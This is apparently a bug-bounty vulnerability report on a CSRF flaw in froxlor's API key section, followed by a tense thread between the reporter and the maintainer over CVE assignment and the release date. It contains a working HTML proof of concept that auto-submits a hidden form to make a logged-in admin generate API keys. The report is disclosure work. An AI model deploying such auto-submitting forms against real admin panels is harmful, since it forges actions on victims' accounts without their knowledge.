Unintended API key generation in froxlor/froxlor
Reported on
Nov 9th 2022
Description
The API keys
sections are vulnerable to CSRF. The aggressor can generate the key on the admin's account without prior knowledge of admin credentials. The successful CSRF will generate new keys on the admin's account.
Proof of Concept
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.froxlor.org/admin_index.php">
<meta name="referrer" content="no-referrer">
<input type="hidden" name="page" value="apikeys" />
<input type="hidden" name="action" value="add" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Video PoC
Visit ---> https://vimeo.com/769066009
Impact
Illegal Key generation
Occurrences
References
Thank you for the report, it will be fixed in the next scheduled release on 2nd of December
The maintainer will chose wether to assign a CVE once they publish your vulnerability on Dec 2nd.
@maintainer & @admin, A short reminder!
Please go for a CVE
If it's not eligible for the CVE then you can point out the reason
It has been said, it'll be released on December 2nd now it's changed to 3 So, reminders are needed in some cases.
Many users pointed out your unprofessional behaviour Mr Pavlos, Tbh, I felt sad about it
@admin
@Krian you seem to be VERY impatient. I just selected a SCHEDULED publication if this report for tomorrow because i have JUST released a new version and would like to give users at least ONE day to update
Reason for no CVE: a new api key is being generated which you cannot access. It does no harm in any way other than exist
@Maintainer No issues & impatience from my side mate. I agree with your statement but you've to let me know about the case. Else I won't be able to understand.
If you've clearly said at 1st I never repeat. So, it's nothing about impatience, but, lack of responses matters 👍
You can read the above comments, I even didn't mention you in some statements
Regards,
I'm sorry you're unhappy with me. I have tens of thousands of users to attend to alone and the @admin spamming just makes it worse for everyone.
On another note, please be more patient with maintainer, open source is a voluntary sport.